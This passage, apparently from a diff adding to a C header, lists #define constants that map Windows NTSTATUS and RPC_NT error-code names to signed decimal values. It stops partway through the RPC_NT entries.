STATUS_ELEVATION_REQUIRED -1073740756 +#define STATUS_NO_SECURITY_CONTEXT -1073740755 +#define STATUS_PKU2U_CERT_FAILURE -1073740753 +#define STATUS_BEYOND_VDL -1073740750 +#define STATUS_ENCOUNTERED_WRITE_IN_PROGRESS -1073740749 +#define STATUS_PTE_CHANGED -1073740748 +#define STATUS_PURGE_FAILED -1073740747 +#define STATUS_CRED_REQUIRES_CONFIRMATION -1073740736 +#define STATUS_CS_ENCRYPTION_INVALID_SERVER_RESPONSE -1073740735 +#define STATUS_CS_ENCRYPTION_UNSUPPORTED_SERVER -1073740734 +#define STATUS_CS_ENCRYPTION_EXISTING_ENCRYPTED_FILE -1073740733 +#define STATUS_CS_ENCRYPTION_NEW_ENCRYPTED_FILE -1073740732 +#define STATUS_CS_ENCRYPTION_FILE_NOT_CSE -1073740731 +#define STATUS_INVALID_LABEL -1073740730 +#define STATUS_DRIVER_PROCESS_TERMINATED -1073740720 +#define STATUS_AMBIGUOUS_SYSTEM_DEVICE -1073740719 +#define STATUS_SYSTEM_DEVICE_NOT_FOUND -1073740718 +#define STATUS_RESTART_BOOT_APPLICATION -1073740717 +#define STATUS_INSUFFICIENT_NVRAM_RESOURCES -1073740716 +#define STATUS_INVALID_SESSION -1073740715 +#define STATUS_THREAD_ALREADY_IN_SESSION -1073740714 +#define STATUS_THREAD_NOT_IN_SESSION -1073740713 +#define STATUS_INVALID_WEIGHT -1073740712 +#define STATUS_REQUEST_PAUSED -1073740711 +#define STATUS_NO_RANGES_PROCESSED -1073740704 +#define STATUS_DISK_RESOURCES_EXHAUSTED -1073740703 +#define STATUS_NEEDS_REMEDIATION -1073740702 +#define STATUS_DEVICE_FEATURE_NOT_SUPPORTED -1073740701 +#define STATUS_DEVICE_UNREACHABLE -1073740700 +#define STATUS_INVALID_TOKEN -1073740699 +#define STATUS_SERVER_UNAVAILABLE -1073740698 +#define STATUS_FILE_NOT_AVAILABLE -1073740697 +#define STATUS_DEVICE_INSUFFICIENT_RESOURCES -1073740696 +#define STATUS_PACKAGE_UPDATING -1073740695 +#define STATUS_NOT_READ_FROM_COPY -1073740694 +#define STATUS_FT_WRITE_FAILURE -1073740693 +#define STATUS_FT_DI_SCAN_REQUIRED -1073740692 +#define STATUS_OBJECT_NOT_EXTERNALLY_BACKED -1073740691 +#define STATUS_EXTERNAL_BACKING_PROVIDER_UNKNOWN -1073740690 +#define STATUS_COMPRESSION_NOT_BENEFICIAL -1073740689 +#define STATUS_DATA_CHECKSUM_ERROR -1073740688 +#define STATUS_INTERMIXED_KERNEL_EA_OPERATION -1073740687 +#define STATUS_TRIM_READ_ZERO_NOT_SUPPORTED -1073740686 +#define STATUS_TOO_MANY_SEGMENT_DESCRIPTORS -1073740685 +#define STATUS_INVALID_OFFSET_ALIGNMENT -1073740684 +#define STATUS_INVALID_FIELD_IN_PARAMETER_LIST -1073740683 +#define STATUS_OPERATION_IN_PROGRESS -1073740682 +#define STATUS_INVALID_INITIATOR_TARGET_PATH -1073740681 +#define STATUS_SCRUB_DATA_DISABLED -1073740680 +#define STATUS_NOT_REDUNDANT_STORAGE -1073740679 +#define STATUS_RESIDENT_FILE_NOT_SUPPORTED -1073740678 +#define STATUS_COMPRESSED_FILE_NOT_SUPPORTED -1073740677 +#define STATUS_DIRECTORY_NOT_SUPPORTED -1073740676 +#define STATUS_IO_OPERATION_TIMEOUT -1073740675 +#define STATUS_SYSTEM_NEEDS_REMEDIATION -1073740674 +#define STATUS_APPX_INTEGRITY_FAILURE_CLR_NGEN -1073740673 +#define STATUS_SHARE_UNAVAILABLE -1073740672 +#define STATUS_APISET_NOT_HOSTED -1073740671 +#define STATUS_APISET_NOT_PRESENT -1073740670 +#define STATUS_DEVICE_HARDWARE_ERROR -1073740669 +#define STATUS_FIRMWARE_SLOT_INVALID -1073740668 +#define STATUS_FIRMWARE_IMAGE_INVALID -1073740667 +#define STATUS_STORAGE_TOPOLOGY_ID_MISMATCH -1073740666 +#define STATUS_WIM_NOT_BOOTABLE -1073740665 +#define STATUS_BLOCKED_BY_PARENTAL_CONTROLS -1073740664 +#define STATUS_NEEDS_REGISTRATION -1073740663 +#define STATUS_QUOTA_ACTIVITY -1073740662 +#define STATUS_CALLBACK_INVOKE_INLINE -1073740661 +#define STATUS_BLOCK_TOO_MANY_REFERENCES -1073740660 +#define STATUS_MARKED_TO_DISALLOW_WRITES -1073740659 +#define STATUS_NETWORK_ACCESS_DENIED_EDP -1073740658 +#define STATUS_ENCLAVE_FAILURE -1073740657 +#define STATUS_PNP_NO_COMPAT_DRIVERS -1073740656 +#define STATUS_PNP_DRIVER_PACKAGE_NOT_FOUND -1073740655 +#define STATUS_PNP_DRIVER_CONFIGURATION_NOT_FOUND -1073740654 +#define STATUS_PNP_DRIVER_CONFIGURATION_INCOMPLETE -1073740653 +#define STATUS_PNP_FUNCTION_DRIVER_REQUIRED -1073740652 +#define STATUS_PNP_DEVICE_CONFIGURATION_PENDING -1073740651 +#define STATUS_DEVICE_HINT_NAME_BUFFER_TOO_SMALL -1073740650 +#define STATUS_PACKAGE_NOT_AVAILABLE -1073740649 +#define STATUS_DEVICE_IN_MAINTENANCE -1073740647 +#define STATUS_NOT_SUPPORTED_ON_DAX -1073740646 +#define STATUS_FREE_SPACE_TOO_FRAGMENTED -1073740645 +#define STATUS_DAX_MAPPING_EXISTS -1073740644 +#define STATUS_CHILD_PROCESS_BLOCKED -1073740643 +#define STATUS_STORAGE_LOST_DATA_PERSISTENCE -1073740642 +#define STATUS_PARTITION_TERMINATING -1073740640 +#define STATUS_EXTERNAL_SYSKEY_NOT_SUPPORTED -1073740639 +#define STATUS_ENCLAVE_VIOLATION -1073740638 +#define STATUS_FILE_PROTECTED_UNDER_DPL -1073740637 +#define STATUS_VOLUME_NOT_CLUSTER_ALIGNED -1073740636 +#define STATUS_NO_PHYSICALLY_ALIGNED_FREE_SPACE_FOUND -1073740635 +#define STATUS_APPX_FILE_NOT_ENCRYPTED -1073740634 +#define STATUS_RWRAW_ENCRYPTED_FILE_NOT_ENCRYPTED -1073740633 +#define STATUS_RWRAW_ENCRYPTED_INVALID_EDATAINFO_FILEOFFSET -1073740632 +#define STATUS_RWRAW_ENCRYPTED_INVALID_EDATAINFO_FILERANGE -1073740631 +#define STATUS_RWRAW_ENCRYPTED_INVALID_EDATAINFO_PARAMETER -1073740630 +#define STATUS_FT_READ_FAILURE -1073740629 +#define STATUS_PATCH_CONFLICT -1073740628 +#define STATUS_STORAGE_RESERVE_ID_INVALID -1073740627 +#define STATUS_STORAGE_RESERVE_DOES_NOT_EXIST -1073740626 +#define STATUS_STORAGE_RESERVE_ALREADY_EXISTS -1073740625 +#define STATUS_STORAGE_RESERVE_NOT_EMPTY -1073740624 +#define STATUS_NOT_A_DAX_VOLUME -1073740623 +#define STATUS_NOT_DAX_MAPPABLE -1073740622 +#define STATUS_CASE_DIFFERING_NAMES_IN_DIR -1073740621 +#define STATUS_FILE_NOT_SUPPORTED -1073740620 +#define STATUS_NOT_SUPPORTED_WITH_BTT -1073740619 +#define STATUS_ENCRYPTION_DISABLED -1073740618 +#define STATUS_ENCRYPTING_METADATA_DISALLOWED -1073740617 +#define STATUS_CANT_CLEAR_ENCRYPTION_FLAG -1073740616 +#define STATUS_UNSATISFIED_DEPENDENCIES -1073740615 +#define STATUS_CASE_SENSITIVE_PATH -1073740614 +#define STATUS_UNSUPPORTED_PAGING_MODE -1073740613 +#define STATUS_UNTRUSTED_MOUNT_POINT -1073740612 +#define STATUS_HAS_SYSTEM_CRITICAL_FILES -1073740611 +#define STATUS_OBJECT_IS_IMMUTABLE -1073740610 +#define STATUS_FT_READ_FROM_COPY_FAILURE -1073740609 +#define STATUS_IMAGE_LOADED_AS_PATCH_IMAGE -1073740608 +#define STATUS_STORAGE_STACK_ACCESS_DENIED -1073740607 +#define STATUS_INSUFFICIENT_VIRTUAL_ADDR_RESOURCES -1073740606 +#define STATUS_ENCRYPTED_FILE_NOT_SUPPORTED -1073740605 +#define STATUS_SPARSE_FILE_NOT_SUPPORTED -1073740604 +#define STATUS_PAGEFILE_NOT_SUPPORTED -1073740603 +#define STATUS_VOLUME_NOT_SUPPORTED -1073740602 +#define STATUS_NOT_SUPPORTED_WITH_BYPASSIO -1073740601 +#define STATUS_NO_BYPASSIO_DRIVER_SUPPORT -1073740600 +#define STATUS_NOT_SUPPORTED_WITH_ENCRYPTION -1073740599 +#define STATUS_NOT_SUPPORTED_WITH_COMPRESSION -1073740598 +#define STATUS_NOT_SUPPORTED_WITH_REPLICATION -1073740597 +#define STATUS_NOT_SUPPORTED_WITH_DEDUPLICATION -1073740596 +#define STATUS_NOT_SUPPORTED_WITH_AUDITING -1073740595 +#define STATUS_NOT_SUPPORTED_WITH_MONITORING -1073740594 +#define STATUS_NOT_SUPPORTED_WITH_SNAPSHOT -1073740593 +#define STATUS_NOT_SUPPORTED_WITH_VIRTUALIZATION -1073740592 +#define STATUS_INDEX_OUT_OF_BOUNDS -1073740591 +#define STATUS_BYPASSIO_FLT_NOT_SUPPORTED -1073740590 +#define STATUS_VOLUME_WRITE_ACCESS_DENIED -1073740589 +#define STATUS_PATCH_NOT_REGISTERED -1073740588 +#define STATUS_NOT_SUPPORTED_WITH_CACHED_HANDLE -1073740587 +#define STATUS_PDE_ENCRYPTION_UNAVAILABLE_FAILURE -1073740586 +#define STATUS_PDE_DECRYPTION_UNAVAILABLE_FAILURE -1073740585 +#define STATUS_PDE_DECRYPTION_UNAVAILABLE -1073740584 +#define STATUS_VOLUME_UPGRADE_NOT_NEEDED 1073743065 +#define STATUS_VOLUME_UPGRADE_PENDING 1073743066 +#define STATUS_VOLUME_UPGRADE_DISABLED -1073740581 +#define STATUS_VOLUME_UPGRADE_DISABLED_TILL_OS_DOWNGRADE_EXPIRED -1073740580 +#define STATUS_NOT_A_DEV_VOLUME -1073740579 +#define STATUS_FS_GUID_MISMATCH -1073740578 +#define STATUS_CANT_ATTACH_TO_DEV_VOLUME -1073740577 +#define STATUS_MEMORY_DECOMPRESSION_FAILURE -1073740576 +#define STATUS_INVALID_CONFIG_VALUE -1073740575 +#define STATUS_MEMORY_DECOMPRESSION_HW_ERROR -1073740574 +#define STATUS_VOLUME_ROLLBACK_DETECTED -1073740573 +#define STATUS_INVALID_TASK_NAME -1073740544 +#define STATUS_INVALID_TASK_INDEX -1073740543 +#define STATUS_THREAD_ALREADY_IN_TASK -1073740542 +#define STATUS_CALLBACK_BYPASS -1073740541 +#define STATUS_UNDEFINED_SCOPE -1073740540 +#define STATUS_INVALID_CAP -1073740539 +#define STATUS_NOT_GUI_PROCESS -1073740538 +#define STATUS_DEVICE_HUNG -1073740537 +#define STATUS_CONTAINER_ASSIGNED -1073740536 +#define STATUS_JOB_NO_CONTAINER -1073740535 +#define STATUS_DEVICE_UNRESPONSIVE -1073740534 +#define STATUS_REPARSE_POINT_ENCOUNTERED -1073740533 +#define STATUS_ATTRIBUTE_NOT_PRESENT -1073740532 +#define STATUS_NOT_A_TIERED_VOLUME -1073740531 +#define STATUS_ALREADY_HAS_STREAM_ID -1073740530 +#define STATUS_JOB_NOT_EMPTY -1073740529 +#define STATUS_ALREADY_INITIALIZED -1073740528 +#define STATUS_ENCLAVE_NOT_TERMINATED -1073740527 +#define STATUS_ENCLAVE_IS_TERMINATING -1073740526 +#define STATUS_SMB1_NOT_AVAILABLE -1073740525 +#define STATUS_SMR_GARBAGE_COLLECTION_REQUIRED -1073740524 +#define STATUS_INTERRUPTED -1073740523 +#define STATUS_THREAD_NOT_RUNNING -1073740522 +#define STATUS_SESSION_KEY_TOO_SHORT -1073740521 +#define STATUS_FS_METADATA_INCONSISTENT -1073740520 +#define STATUS_FAIL_FAST_EXCEPTION -1073740286 +#define STATUS_IMAGE_CERT_REVOKED -1073740285 +#define STATUS_DYNAMIC_CODE_BLOCKED -1073740284 +#define STATUS_IMAGE_CERT_EXPIRED -1073740283 +#define STATUS_STRICT_CFG_VIOLATION -1073740282 +#define STATUS_SET_CONTEXT_DENIED -1073740278 +#define STATUS_CROSS_PARTITION_VIOLATION -1073740277 +#define STATUS_PORT_CLOSED -1073740032 +#define STATUS_MESSAGE_LOST -1073740031 +#define STATUS_INVALID_MESSAGE -1073740030 +#define STATUS_REQUEST_CANCELED -1073740029 +#define STATUS_RECURSIVE_DISPATCH -1073740028 +#define STATUS_LPC_RECEIVE_BUFFER_EXPECTED -1073740027 +#define STATUS_LPC_INVALID_CONNECTION_USAGE -1073740026 +#define STATUS_LPC_REQUESTS_NOT_ALLOWED -1073740025 +#define STATUS_RESOURCE_IN_USE -1073740024 +#define STATUS_HARDWARE_MEMORY_ERROR -1073740023 +#define STATUS_THREADPOOL_HANDLE_EXCEPTION -1073740022 +#define STATUS_THREADPOOL_SET_EVENT_ON_COMPLETION_FAILED -1073740021 +#define STATUS_THREADPOOL_RELEASE_SEMAPHORE_ON_COMPLETION_FAILED -1073740020 +#define STATUS_THREADPOOL_RELEASE_MUTEX_ON_COMPLETION_FAILED -1073740019 +#define STATUS_THREADPOOL_FREE_LIBRARY_ON_COMPLETION_FAILED -1073740018 +#define STATUS_THREADPOOL_RELEASED_DURING_OPERATION -1073740017 +#define STATUS_CALLBACK_RETURNED_WHILE_IMPERSONATING -1073740016 +#define STATUS_APC_RETURNED_WHILE_IMPERSONATING -1073740015 +#define STATUS_PROCESS_IS_PROTECTED -1073740014 +#define STATUS_MCA_EXCEPTION -1073740013 +#define STATUS_CERTIFICATE_MAPPING_NOT_UNIQUE -1073740012 +#define STATUS_SYMLINK_CLASS_DISABLED -1073740011 +#define STATUS_INVALID_IDN_NORMALIZATION -1073740010 +#define STATUS_NO_UNICODE_TRANSLATION -1073740009 +#define STATUS_ALREADY_REGISTERED -1073740008 +#define STATUS_CONTEXT_MISMATCH -1073740007 +#define STATUS_PORT_ALREADY_HAS_COMPLETION_LIST -1073740006 +#define STATUS_CALLBACK_RETURNED_THREAD_PRIORITY -1073740005 +#define STATUS_INVALID_THREAD -1073740004 +#define STATUS_CALLBACK_RETURNED_TRANSACTION -1073740003 +#define STATUS_CALLBACK_RETURNED_LDR_LOCK -1073740002 +#define STATUS_CALLBACK_RETURNED_LANG -1073740001 +#define STATUS_CALLBACK_RETURNED_PRI_BACK -1073740000 +#define STATUS_CALLBACK_RETURNED_THREAD_AFFINITY -1073739999 +#define STATUS_LPC_HANDLE_COUNT_EXCEEDED -1073739998 +#define STATUS_EXECUTABLE_MEMORY_WRITE -1073739997 +#define STATUS_KERNEL_EXECUTABLE_MEMORY_WRITE -1073739996 +#define STATUS_ATTACHED_EXECUTABLE_MEMORY_WRITE -1073739995 +#define STATUS_TRIGGERED_EXECUTABLE_MEMORY_WRITE -1073739994 +#define STATUS_DISK_REPAIR_DISABLED -1073739776 +#define STATUS_DS_DOMAIN_RENAME_IN_PROGRESS -1073739775 +#define STATUS_DISK_QUOTA_EXCEEDED -1073739774 +#define STATUS_DATA_LOST_REPAIR -2147481597 +#define STATUS_CONTENT_BLOCKED -1073739772 +#define STATUS_BAD_CLUSTERS -1073739771 +#define STATUS_VOLUME_DIRTY -1073739770 +#define STATUS_DISK_REPAIR_REDIRECTED 1073743879 +#define STATUS_DISK_REPAIR_UNSUCCESSFUL -1073739768 +#define STATUS_CORRUPT_LOG_OVERFULL -1073739767 +#define STATUS_CORRUPT_LOG_CORRUPTED -1073739766 +#define STATUS_CORRUPT_LOG_UNAVAILABLE -1073739765 +#define STATUS_CORRUPT_LOG_DELETED_FULL -1073739764 +#define STATUS_CORRUPT_LOG_CLEARED -1073739763 +#define STATUS_ORPHAN_NAME_EXHAUSTED -1073739762 +#define STATUS_PROACTIVE_SCAN_IN_PROGRESS -1073739761 +#define STATUS_ENCRYPTED_IO_NOT_POSSIBLE -1073739760 +#define STATUS_CORRUPT_LOG_UPLEVEL_RECORDS -1073739759 +#define STATUS_FILE_CHECKED_OUT -1073739519 +#define STATUS_CHECKOUT_REQUIRED -1073739518 +#define STATUS_BAD_FILE_TYPE -1073739517 +#define STATUS_FILE_TOO_LARGE -1073739516 +#define STATUS_FORMS_AUTH_REQUIRED -1073739515 +#define STATUS_VIRUS_INFECTED -1073739514 +#define STATUS_VIRUS_DELETED -1073739513 +#define STATUS_BAD_MCFG_TABLE -1073739512 +#define STATUS_CANNOT_BREAK_OPLOCK -1073739511 +#define STATUS_BAD_KEY -1073739510 +#define STATUS_BAD_DATA -1073739509 +#define STATUS_NO_KEY -1073739508 +#define STATUS_FILE_HANDLE_REVOKED -1073739504 +#define STATUS_SECTION_DIRECT_MAP_ONLY -1073739503 +#define STATUS_BLOCK_WEAK_REFERENCE_INVALID -1073739502 +#define STATUS_BLOCK_SOURCE_WEAK_REFERENCE_INVALID -1073739501 +#define STATUS_BLOCK_TARGET_WEAK_REFERENCE_INVALID -1073739500 +#define STATUS_BLOCK_SHARED -1073739499 +#define STATUS_SYSTEM_FILE_NOT_SUPPORTED -1073739498 +#define STATUS_VRF_VOLATILE_CFG_AND_IO_ENABLED -1073738744 +#define STATUS_VRF_VOLATILE_NOT_STOPPABLE -1073738743 +#define STATUS_VRF_VOLATILE_SAFE_MODE -1073738742 +#define STATUS_VRF_VOLATILE_NOT_RUNNABLE_SYSTEM -1073738741 +#define STATUS_VRF_VOLATILE_NOT_SUPPORTED_RULECLASS -1073738740 +#define STATUS_VRF_VOLATILE_PROTECTED_DRIVER -1073738739 +#define STATUS_VRF_VOLATILE_NMI_REGISTERED -1073738738 +#define STATUS_VRF_VOLATILE_SETTINGS_CONFLICT -1073738737 +#define STATUS_CAR_LKD_IN_PROGRESS -1073738736 +#define STATUS_DIF_ZERO_SIZE_INFORMATION -1073738637 +#define STATUS_DIF_DRIVER_PLUGIN_MISMATCH -1073738636 +#define STATUS_DIF_DRIVER_THUNKS_NOT_ALLOWED -1073738635 +#define STATUS_DIF_IOCALLBACK_NOT_REPLACED -1073738634 +#define STATUS_DIF_LIVEDUMP_LIMIT_EXCEEDED -1073738633 +#define STATUS_DIF_VOLATILE_SECTION_NOT_LOCKED -1073738632 +#define STATUS_DIF_VOLATILE_DRIVER_HOTPATCHED -1073738631 +#define STATUS_DIF_VOLATILE_INVALID_INFO -1073738630 +#define STATUS_DIF_VOLATILE_DRIVER_IS_NOT_RUNNING -1073738629 +#define STATUS_DIF_VOLATILE_PLUGIN_IS_NOT_RUNNING -1073738628 +#define STATUS_DIF_VOLATILE_PLUGIN_CHANGE_NOT_ALLOWED -1073738627 +#define STATUS_DIF_VOLATILE_NOT_ALLOWED -1073738626 +#define STATUS_DIF_BINDING_API_NOT_FOUND -1073738625 +#define STATUS_WOW_ASSERTION -1073702760 +#define STATUS_INVALID_SIGNATURE -1073700864 +#define STATUS_HMAC_NOT_SUPPORTED -1073700863 +#define STATUS_AUTH_TAG_MISMATCH -1073700862 +#define STATUS_INVALID_STATE_TRANSITION -1073700861 +#define STATUS_INVALID_KERNEL_INFO_VERSION -1073700860 +#define STATUS_INVALID_PEP_INFO_VERSION -1073700859 +#define STATUS_HANDLE_REVOKED -1073700858 +#define STATUS_EOF_ON_GHOSTED_RANGE -1073700857 +#define STATUS_CC_NEEDS_CALLBACK_SECTION_DRAIN -1073700856 +#define STATUS_IPSEC_QUEUE_OVERFLOW -1073700848 +#define STATUS_ND_QUEUE_OVERFLOW -1073700847 +#define STATUS_HOPLIMIT_EXCEEDED -1073700846 +#define STATUS_PROTOCOL_NOT_SUPPORTED -1073700845 +#define STATUS_FASTPATH_REJECTED -1073700844 +#define STATUS_LOST_WRITEBEHIND_DATA_NETWORK_DISCONNECTED -1073700736 +#define STATUS_LOST_WRITEBEHIND_DATA_NETWORK_SERVER_ERROR -1073700735 +#define STATUS_LOST_WRITEBEHIND_DATA_LOCAL_DISK_ERROR -1073700734 +#define STATUS_XML_PARSE_ERROR -1073700733 +#define STATUS_XMLDSIG_ERROR -1073700732 +#define STATUS_WRONG_COMPARTMENT -1073700731 +#define STATUS_AUTHIP_FAILURE -1073700730 +#define STATUS_DS_OID_MAPPED_GROUP_CANT_HAVE_MEMBERS -1073700729 +#define STATUS_DS_OID_NOT_FOUND -1073700728 +#define STATUS_INCORRECT_ACCOUNT_TYPE -1073700727 +#define STATUS_LOCAL_POLICY_MODIFICATION_NOT_SUPPORTED -1073700726 +#define STATUS_POLICY_CONTROLLED_ACCOUNT -1073700725 +#define STATUS_LAPS_LEGACY_SCHEMA_MISSING -1073700724 +#define STATUS_LAPS_SCHEMA_MISSING -1073700723 +#define STATUS_LAPS_ENCRYPTION_REQUIRES_2016_DFL -1073700722 +#define STATUS_LAPS_PROCESS_TERMINATED -2147442545 +#define STATUS_DS_JET_RECORD_TOO_BIG -1073700720 +#define STATUS_DS_REPLICA_PAGE_SIZE_MISMATCH -1073700719 +#define STATUS_HASH_NOT_SUPPORTED -1073700608 +#define STATUS_HASH_NOT_PRESENT -1073700607 +#define STATUS_SECONDARY_IC_PROVIDER_NOT_REGISTERED -1073700575 +#define STATUS_GPIO_CLIENT_INFORMATION_INVALID -1073700574 +#define STATUS_GPIO_VERSION_NOT_SUPPORTED -1073700573 +#define STATUS_GPIO_INVALID_REGISTRATION_PACKET -1073700572 +#define STATUS_GPIO_OPERATION_DENIED -1073700571 +#define STATUS_GPIO_INCOMPATIBLE_CONNECT_MODE -1073700570 +#define STATUS_GPIO_INTERRUPT_ALREADY_UNMASKED -2147442393 +#define STATUS_CANNOT_SWITCH_RUNLEVEL -1073700543 +#define STATUS_INVALID_RUNLEVEL_SETTING -1073700542 +#define STATUS_RUNLEVEL_SWITCH_TIMEOUT -1073700541 +#define STATUS_SERVICES_FAILED_AUTOSTART 1073783108 +#define STATUS_RUNLEVEL_SWITCH_AGENT_TIMEOUT -1073700539 +#define STATUS_RUNLEVEL_SWITCH_IN_PROGRESS -1073700538 +#define STATUS_APISET_COMPOSE_FAILURE -1073700511 +#define STATUS_APISET_SCHEMA_VERSION_NOT_SUPPORTED -1073700510 +#define STATUS_NOT_APPCONTAINER -1073700352 +#define STATUS_NOT_SUPPORTED_IN_APPCONTAINER -1073700351 +#define STATUS_INVALID_PACKAGE_SID_LENGTH -1073700350 +#define STATUS_LPAC_ACCESS_DENIED -1073700349 +#define STATUS_ADMINLESS_ACCESS_DENIED -1073700348 +#define STATUS_APP_DATA_NOT_FOUND -1073700223 +#define STATUS_APP_DATA_EXPIRED -1073700222 +#define STATUS_APP_DATA_CORRUPT -1073700221 +#define STATUS_APP_DATA_LIMIT_EXCEEDED -1073700220 +#define STATUS_APP_DATA_REBOOT_REQUIRED -1073700219 +#define STATUS_OFFLOAD_READ_FLT_NOT_SUPPORTED -1073700191 +#define STATUS_OFFLOAD_WRITE_FLT_NOT_SUPPORTED -1073700190 +#define STATUS_OFFLOAD_READ_FILE_NOT_SUPPORTED -1073700189 +#define STATUS_OFFLOAD_WRITE_FILE_NOT_SUPPORTED -1073700188 +#define STATUS_WOF_WIM_HEADER_CORRUPT -1073700187 +#define STATUS_WOF_WIM_RESOURCE_TABLE_CORRUPT -1073700186 +#define STATUS_WOF_FILE_RESOURCE_TABLE_CORRUPT -1073700185 +#define STATUS_CIMFS_IMAGE_CORRUPT -1073692671 +#define STATUS_CIMFS_IMAGE_VERSION_NOT_SUPPORTED -1073692670 +#define STATUS_FILE_SYSTEM_VIRTUALIZATION_UNAVAILABLE -1073689087 +#define STATUS_FILE_SYSTEM_VIRTUALIZATION_METADATA_CORRUPT -1073689086 +#define STATUS_FILE_SYSTEM_VIRTUALIZATION_BUSY -1073689085 +#define STATUS_FILE_SYSTEM_VIRTUALIZATION_PROVIDER_UNKNOWN -1073689084 +#define STATUS_FILE_SYSTEM_VIRTUALIZATION_INVALID_OPERATION -1073689083 +#define STATUS_CLOUD_FILE_SYNC_ROOT_METADATA_CORRUPT -1073688832 +#define STATUS_CLOUD_FILE_PROVIDER_NOT_RUNNING -1073688831 +#define STATUS_CLOUD_FILE_METADATA_CORRUPT -1073688830 +#define STATUS_CLOUD_FILE_METADATA_TOO_LARGE -1073688829 +#define STATUS_CLOUD_FILE_PROPERTY_BLOB_TOO_LARGE -2147430652 +#define STATUS_CLOUD_FILE_TOO_MANY_PROPERTY_BLOBS -2147430651 +#define STATUS_CLOUD_FILE_PROPERTY_VERSION_NOT_SUPPORTED -1073688826 +#define STATUS_NOT_A_CLOUD_FILE -1073688825 +#define STATUS_CLOUD_FILE_NOT_IN_SYNC -1073688824 +#define STATUS_CLOUD_FILE_ALREADY_CONNECTED -1073688823 +#define STATUS_CLOUD_FILE_NOT_SUPPORTED -1073688822 +#define STATUS_CLOUD_FILE_INVALID_REQUEST -1073688821 +#define STATUS_CLOUD_FILE_READ_ONLY_VOLUME -1073688820 +#define STATUS_CLOUD_FILE_CONNECTED_PROVIDER_ONLY -1073688819 +#define STATUS_CLOUD_FILE_VALIDATION_FAILED -1073688818 +#define STATUS_CLOUD_FILE_AUTHENTICATION_FAILED -1073688817 +#define STATUS_CLOUD_FILE_INSUFFICIENT_RESOURCES -1073688816 +#define STATUS_CLOUD_FILE_NETWORK_UNAVAILABLE -1073688815 +#define STATUS_CLOUD_FILE_UNSUCCESSFUL -1073688814 +#define STATUS_CLOUD_FILE_NOT_UNDER_SYNC_ROOT -1073688813 +#define STATUS_CLOUD_FILE_IN_USE -1073688812 +#define STATUS_CLOUD_FILE_PINNED -1073688811 +#define STATUS_CLOUD_FILE_REQUEST_ABORTED -1073688810 +#define STATUS_CLOUD_FILE_PROPERTY_CORRUPT -1073688809 +#define STATUS_CLOUD_FILE_ACCESS_DENIED -1073688808 +#define STATUS_CLOUD_FILE_INCOMPATIBLE_HARDLINKS -1073688807 +#define STATUS_CLOUD_FILE_PROPERTY_LOCK_CONFLICT -1073688806 +#define STATUS_CLOUD_FILE_REQUEST_CANCELED -1073688805 +#define STATUS_CLOUD_FILE_PROVIDER_TERMINATED -1073688803 +#define STATUS_NOT_A_CLOUD_SYNC_ROOT -1073688802 +#define STATUS_CLOUD_FILE_REQUEST_TIMEOUT -1073688801 +#define STATUS_CLOUD_FILE_DEHYDRATION_DISALLOWED -1073688800 +#define STATUS_CLOUD_FILE_US_MESSAGE_TIMEOUT -1073688799 +#define STATUS_CLOUD_FILE_HYDRATION_NOT_AVAILABLE -1073688798 +#define STATUS_FILE_SNAP_IN_PROGRESS -1073679104 +#define STATUS_FILE_SNAP_USER_SECTION_NOT_SUPPORTED -1073679103 +#define STATUS_FILE_SNAP_MODIFY_NOT_SUPPORTED -1073679102 +#define STATUS_FILE_SNAP_IO_NOT_COORDINATED -1073679101 +#define STATUS_FILE_SNAP_UNEXPECTED_ERROR -1073679100 +#define STATUS_FILE_SNAP_INVALID_PARAMETER -1073679099 +#define STATUS_UNIONFS_CANNOT_CROSS_UNION -1058209791 +#define STATUS_UNIONFS_CANNOT_EXIT_UNION -1058209790 +#define STATUS_UNIONFS_CANNOT_PRESERVE_LINK -1058209789 +#define STATUS_UNIONFS_INVALID_TOMBSTONE_STATE -1058209788 +#define STATUS_UNIONFS_LAYERS_PRESENT -1058209787 +#define STATUS_UNIONFS_NESTED_LAYER -1058209786 +#define STATUS_UNIONFS_UNION_DUPLICATE_ID -1058209785 +#define STATUS_UNIONFS_INACTIVE_UNION -1058209784 +#define STATUS_UNIONFS_TOO_MANY_LAYERS -1058209783 +#define STATUS_UNIONFS_TOO_LATE -1058209782 +#define STATUS_UNIONFS_NESTED_UNION -1058209781 +#define STATUS_UNIONFS_NESTED_UNION_NOT_ALLOWED -1058209780 +#define DBG_NO_STATE_CHANGE -1073676287 +#define DBG_APP_NOT_IDLE -1073676286 +#define RPC_NT_INVALID_STRING_BINDING -1073610751 +#define RPC_NT_WRONG_KIND_OF_BINDING -1073610750 +#define RPC_NT_INVALID_BINDING -1073610749 +#define RPC_NT_PROTSEQ_NOT_SUPPORTED -1073610748 +#define RPC_NT_INVALID_RPC_PROTSEQ -1073610747 +#define RPC_NT_INVALID_STRING_UUID -1073610746 +#define RPC_NT_INVALID_ENDPOINT_FORMAT -1073610745 +#define RPC_NT_INVALID_NET_ADDR -1073610744 +#define RPC_NT_NO_ENDPOINT_FOUND -1073610743 +#define RPC_NT_INVALID_TIMEOUT -1073610742 +#define RPC_NT_OBJECT_NOT_FOUND -1073610741 +#define RPC_NT_ALREADY_REGISTERED -1073610740 +#define RPC_NT_TYPE_ALREADY_REGISTERED -1073610739 +#define RPC_NT_ALREADY_LISTENING -1073610738 +#define RPC_NT_NO_PROTSEQS_REGISTERED -1073610737 +#define RPC_NT_NOT_LISTENING -1073610736 +#define RPC_NT_UNKNOWN_MGR_TYPE -1073610735 +#define RPC_NT_UNKNOWN_IF -1073610734 +#define RPC_NT_NO_BINDINGS -1073610733 +#define RPC_NT_NO_PROTSEQS -1073610732 +#define RPC_NT_CANT_CREATE_ENDPOINT -1073610731 +#define RPC_NT_OUT_OF_RESOURCES -1073610730 +#define RPC_NT_SERVER_UNAVAILABLE -1073610729 +#define RPC_NT_SERVER_TOO_BUSY -1073610728 +#define RPC_NT_INVALID_NETWORK_OPTIONS -1073610727 +#define RPC_NT_NO_CALL_ACTIVE -1073610726 +#define RPC_NT_CALL_FAILED -1073610725 +#define RPC_NT_CALL_FAILED_DNE -1073610724 +#define RPC_NT_PROTOCOL_ERROR -1073610723 +#define RPC_NT_UNSUPPORTED_TRANS_SYN -1073610721 +#define RPC_NT_UNSUPPORTED_TYPE -1073610719 +#define RPC_NT_INVALID_TAG -1073610718 +#define RPC_NT_INVALID_BOUND -1073610717 +#define RPC_NT_NO_ENTRY_NAME -1073610716 +#define RPC_NT_INVALID_NAME_SYNTAX -1073610715 +#define RPC_NT_UNSUPPORTED_NAME_SYNTAX -1073610714 +#define RPC_NT_UUID_NO_ADDRESS 